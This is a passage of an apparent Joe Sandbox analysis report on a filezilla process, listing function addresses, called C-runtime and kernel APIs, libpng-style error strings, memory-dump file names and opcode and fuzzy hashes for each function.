Opcode ID: d87cc49dd56cb5784cdc1bd3e155a947efd5c5f18d7d42f42252725ad8a8e83c
Instruction ID: 811f4249253dd3806a8c4ecd417944904976a39503eb6c07abe5ad32ce8d0a84
Opcode Fuzzy Hash: d87cc49dd56cb5784cdc1bd3e155a947efd5c5f18d7d42f42252725ad8a8e83c
Instruction Fuzzy Hash: 9431C0763056E581DB418B62944CFAFBB65E7C2BD8F85C202DE680B394DF39C445C748

Function 6153E190 Relevance: 1.3, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6153DEAF

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 28d0af6f3f63a1f8798cb8f07a7973c59cf765048ce2e2f9e2503c85409ecb34
Instruction ID: 4512602a8718029a34d080bc055b7054e452790c6e361878166d2c976f3ae47d
Opcode Fuzzy Hash: 28d0af6f3f63a1f8798cb8f07a7973c59cf765048ce2e2f9e2503c85409ecb34
Instruction Fuzzy Hash: 0231BE762056E580DB518B62944CFAFBB65E7C2BD8F85C202DE680B394DF39C485C748

Function 6153E148 Relevance: 1.3, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6153DEAF

Part of subcall function 6154B050: memcpy.MSVCRT ref: 6154B133

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 2071f05e31d351df15e0b5b07ea2606bb1123539ecc02b0366e90bdc110359dc
Instruction ID: 989b32da9feeda35c7e9d0974a1df8564561fe07f7247e598be8867b822ac4ba
Opcode Fuzzy Hash: 2071f05e31d351df15e0b5b07ea2606bb1123539ecc02b0366e90bdc110359dc
Instruction Fuzzy Hash: 6431AD763096E580DB428B66945CFAFBB65E7C2BD8F85C202DE680B394DF39C485C748

Function 61550949 Relevance: 1.3, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 615506FA

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 248567d8da6d82d9aff807f81961c7c55da1b97150c71ed8ffb8abdf7b1ae2fe
Instruction ID: 8645625d7f8fe500f92359f0d458c38de27820981b3955fc5881aa5e21f21bd2
Opcode Fuzzy Hash: 248567d8da6d82d9aff807f81961c7c55da1b97150c71ed8ffb8abdf7b1ae2fe
Instruction Fuzzy Hash: DA21276A21E2E185D7D28351A45CFAFBFA9D3823C8F89C153DAC542B86CB3CC150DB18

Function 61550991 Relevance: 1.3, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 615506FA

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: bd9b70026309ac2797ab70d8f3787744709544fa58862a088ea5dbdb05bce19c
Instruction ID: 4d530845c91a32cbde59c9a5fa480f19365856f2279ae63fcb93b725721a5bdf
Opcode Fuzzy Hash: bd9b70026309ac2797ab70d8f3787744709544fa58862a088ea5dbdb05bce19c
Instruction Fuzzy Hash: AA21056A21E2E185C7D28351A45CFAFBFA9D3823C8F89C143DAC542B86CA3CC150DB18

Function 615509B9 Relevance: 1.3, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 615506FA

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 495f568f725cbb51c53f66dfcc99cb4e25cbc41f55a4f5180ba69d67dfcd1b3c
Instruction ID: aadd35ad6515f446f79ff016bdb3958a8dbd7f8d60c6ec1148b9a6d54993cf57
Opcode Fuzzy Hash: 495f568f725cbb51c53f66dfcc99cb4e25cbc41f55a4f5180ba69d67dfcd1b3c
Instruction Fuzzy Hash: FB21056A21E2E185C7D28351A45CFAFBFA9D3823C8F89C143DAC542B86CA3CC150DB18

Function 61550860 Relevance: 1.3, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 615506FA

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 97cf4ea7746b05fef851f7237803d31023b97520725470d97667ff05a59e8f1d
Instruction ID: 64a4b4d187c0b66e3598f38341611c61558ef896a0ce5b07acce892f557cd98b
Opcode Fuzzy Hash: 97cf4ea7746b05fef851f7237803d31023b97520725470d97667ff05a59e8f1d
Instruction Fuzzy Hash: D721276B21A2E049D7D28751A45CFAFBF69D3823C4F89C043EAC542B46CB3CC150DB18

Function 61550931 Relevance: 1.3, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 615506FA

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 78081c5b3c35875b0093e6f9c3818652f8b19d3249490ac490e55d94974ba559
Instruction ID: 9cd97009ae98c0ecd149a1f748a6017fa186ad69970cf055b7dc3d9aafbe6631
Opcode Fuzzy Hash: 78081c5b3c35875b0093e6f9c3818652f8b19d3249490ac490e55d94974ba559
Instruction Fuzzy Hash: C521F45A21E2E185D7D28351A45CFAFBFA9D782388F89C153EAD542B86CA3CC150DB18

Function 61550681 Relevance: 1.3, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 615506FA

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 4a7686d8f985457610572c401d7706e00f08087d9bc80bdd41a3fd59790ad057
Instruction ID: 4db499e0ec1a74d844d5b0398ec387c38c5f35faffd237c1b514aaf55e5eb04e
Opcode Fuzzy Hash: 4a7686d8f985457610572c401d7706e00f08087d9bc80bdd41a3fd59790ad057
Instruction Fuzzy Hash: B521066A21E2E045D7D28351A45CFAFBFA9D3823C8F89C143DAC542B86CB3CC150DB18

Function 61550970 Relevance: 1.3, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 615506FA

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 597cbc4de16c02149ec338ea1c4d097bb679b0b95c09cc58bee574b6311d0ccc
Instruction ID: c8bbbbe713a10c11188aafd57d2f2119b2eb92dad903cdedebf29e8168b3f940
Opcode Fuzzy Hash: 597cbc4de16c02149ec338ea1c4d097bb679b0b95c09cc58bee574b6311d0ccc
Instruction Fuzzy Hash: FE21F86B21A2E045D7D28751A45CFAFBFA9D3823C4F89C153EAD582B46CB3CC150DB18

Function 6157E980 Relevance: 1.3, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 6157E9E0

Memory Dump Source

Source File: 0000000D.00000002.2596590874.0000000061571000.00000020.00000001.01000000.00000019.sdmp, Offset: 61570000, based on PE: true

Associated: 0000000D.00000002.2596533750.0000000061570000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596752323.000000006158A000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596813154.0000000061593000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596902370.0000000061594000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597059856.0000000061597000.00000008.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597122641.0000000061598000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61570000_filezilla.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e75bf96a5d80ef029c558df65434d551dbd7a56528b5160981d5ffdc0fed77eb
Instruction ID: 1ccdc32241bea3066c72ceca283019a6106181e73017a993cbd343aae981750d
Opcode Fuzzy Hash: e75bf96a5d80ef029c558df65434d551dbd7a56528b5160981d5ffdc0fed77eb
Instruction Fuzzy Hash: C901719372175082EF698FABD09636C6720E749FA4F54A215CE2D4B794DB29C8D1C700

Function 00007FF81FAFBD40 Relevance: 1.3, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF81FAFBD95

Part of subcall function 00007FF81FA57780: _errno.MSVCRT ref: 00007FF81FA57790
Part of subcall function 00007FF81FA57780: _errno.MSVCRT ref: 00007FF81FA57798
Part of subcall function 00007FF81FA57780: _errno.MSVCRT ref: 00007FF81FA577A0
Part of subcall function 00007FF81FA57780: free.MSVCRT ref: 00007FF81FA577AD
Part of subcall function 00007FF81FA57780: _errno.MSVCRT ref: 00007FF81FA577B2
Part of subcall function 00007FF81FA57780: _errno.MSVCRT ref: 00007FF81FA577BC

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: _errno$freememcpy
String ID:
API String ID: 411432942-0
Opcode ID: 160a62400bf4be8fc168d3d94c887b8b98575cec45b44b73fb61a0d270a1c390
Instruction ID: e46eb366f78051b2a7b9167332c1654076e97e3713693a7d1a13e316d18fd24b
Opcode Fuzzy Hash: 160a62400bf4be8fc168d3d94c887b8b98575cec45b44b73fb61a0d270a1c390
Instruction Fuzzy Hash: 4A014022A0AA5245EA689F25A4513BD67A2EF48FE8F480734DD0D4BB94DB2CD8418380

Function 00007FF81FAFBA30 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 00007FF81FAFBA46

Part of subcall function 00007FF81FA5CE20: malloc.MSVCRT ref: 00007FF81FA5CE35

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: callocmalloc
String ID:
API String ID: 1635859522-0
Opcode ID: 0302316da7996d0ab4f86d162874600bc1b3ab039d8e6fac934492621e930d1d
Instruction ID: c863b636e4bd4afaedff88a74fd4e8d3d7a220a4f6a0ca142c46ea078331dab2
Opcode Fuzzy Hash: 0302316da7996d0ab4f86d162874600bc1b3ab039d8e6fac934492621e930d1d
Instruction Fuzzy Hash: 68F08221A19A0642FA656B6A64523B991A19F987E8F1C93349E4D173C5FD2CA8C18200

Non-executed Functions

Function 61531650 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 170COMMON

Download Yara Rule

Strings

Not recognizing known sRGB profile that has been edited, xrefs: 615317F2
known incorrect sRGB profile, xrefs: 61531881
out-of-date sRGB profile with no signature, xrefs: 61531895

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID:
String ID: Not recognizing known sRGB profile that has been edited$known incorrect sRGB profile$out-of-date sRGB profile with no signature
API String ID: 0-2031889615
Opcode ID: 9139929294b5fad9a7a77b92e9329c904ff321646eb8f11ef66014cf0b861b91
Instruction ID: 59b0c7779f14fc87564e481d548e833306a5b55ce34bed2ba8ac381e462ef66c
Opcode Fuzzy Hash: 9139929294b5fad9a7a77b92e9329c904ff321646eb8f11ef66014cf0b861b91
Instruction Fuzzy Hash: 4F5127A3B181F042E36A477E58A8F2EEFA3A3C67C6B4DC056DD9103759E138C605D750

Function 6154B050 Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 407COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6154B133

Strings

invalid user transform pixel depth, xrefs: 6154B646
internal row size calculation error, xrefs: 6154B2E8
internal row width error, xrefs: 6154B5D0
internal row logic error, xrefs: 6154B5DF

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID: internal row logic error$internal row size calculation error$internal row width error$invalid user transform pixel depth
API String ID: 3510742995-64619857
Opcode ID: 09908bdf079a83f926441a4e0663513103630ee5d88a17e29f575869a0928cd8
Instruction ID: c79c4c36d73e6b4c721d2829690ce4d776fbe20c83fafa1da3ebbd6f6a849cf5
Opcode Fuzzy Hash: 09908bdf079a83f926441a4e0663513103630ee5d88a17e29f575869a0928cd8
Instruction Fuzzy Hash: 49D19BB774A5E08ADB0AEA75C4687BDFF62A383780F4CD125DE660B744E939C901C341

Function 61557500 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 339COMMON

Download Yara Rule

Strings

pow, xrefs: 61557645, 61557767, 61557B26

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID:
String ID: pow
API String ID: 0-2276729525
Opcode ID: 5edfa5767fb0b86db735dfe7a3d00c67bc6f0462cb6a0243101babcc64a23a15
Instruction ID: 77e8802ba9a79fb4b71c5563d850c10e1c0632a96003d5747a8a069084c6ee19
Opcode Fuzzy Hash: 5edfa5767fb0b86db735dfe7a3d00c67bc6f0462cb6a0243101babcc64a23a15
Instruction Fuzzy Hash: C6C1362391AE44C5D6C3DA79A45035FFB61BFC63C4FC5D703ED9636264EB29C4A28250

Function 615349F0 Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 368COMMON

Download Yara Rule

Strings

., xrefs: 61534FA0
ASCII conversion buffer too small, xrefs: 61534FF0
-, xrefs: 61534FB8

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID:
String ID: -$.$ASCII conversion buffer too small
API String ID: 0-146707858
Opcode ID: da6b10dc7be15eec84816e2c8744fdc6080836c2aa7895d49a9121645f65943d
Instruction ID: be7c75de5c5c26f1949a27704f8bbfd17f05c84380675caf14c8cdbc380e944a
Opcode Fuzzy Hash: da6b10dc7be15eec84816e2c8744fdc6080836c2aa7895d49a9121645f65943d
Instruction Fuzzy Hash: F5D14332A0DBA48AC702CB35A42035AFB55BBE67CCF44D712EE5A67745F73AD1868700

Function 663A6070 Relevance: 5.3, APIs: 4, Instructions: 275stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 663A60F5

Memory Dump Source

Source File: 0000000D.00000002.2597388498.0000000066381000.00000020.00000001.01000000.00000011.sdmp, Offset: 66380000, based on PE: true

Associated: 0000000D.00000002.2597218018.0000000066380000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597614896.000000006648B000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597725866.00000000664B3000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597781090.00000000664B4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597836180.00000000664B7000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.2597896755.00000000664BA000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_66380000_filezilla.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 5db3fb60f1aca990cf43320ec20ca059d7cea20dd662952bb59e807a6c3f3637
Instruction ID: fa19c54ab83898cf14e0713b563a8fb5a6f3c7197e9e643210a2b66391cd2e7c
Opcode Fuzzy Hash: 5db3fb60f1aca990cf43320ec20ca059d7cea20dd662952bb59e807a6c3f3637
Instruction Fuzzy Hash: 43A139B3A15B4082EB15CF2ED804B2E3BA5F79ABD8F019714DEA907798DB39C484D740

Function 00007FF81FA57FB0 Relevance: 43.8, APIs: 29, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 766a0f506caa8a8ada9695db91bcf3d6f532911c1a276b0dbbed9a7e50089f07
Instruction ID: 1ecb1e4cc90f6ce3607bf83215e3746f6b23a440004c69da485f5fb86c158f95
Opcode Fuzzy Hash: 766a0f506caa8a8ada9695db91bcf3d6f532911c1a276b0dbbed9a7e50089f07
Instruction Fuzzy Hash: C751622A95EF4B51E670BB11A0AAB7F2355EF097E4F455E31FA4E02282DE2CE540D301

Function 00007FF81FA5C0E0 Relevance: 37.7, APIs: 25, Instructions: 212sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF81FA5C101
LeaveCriticalSection.KERNEL32 ref: 00007FF81FA5C13B
Sleep.KERNEL32 ref: 00007FF81FA5C143
EnterCriticalSection.KERNEL32 ref: 00007FF81FA5C148
LeaveCriticalSection.KERNEL32 ref: 00007FF81FA5C15B
Sleep.KERNEL32 ref: 00007FF81FA5C192

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

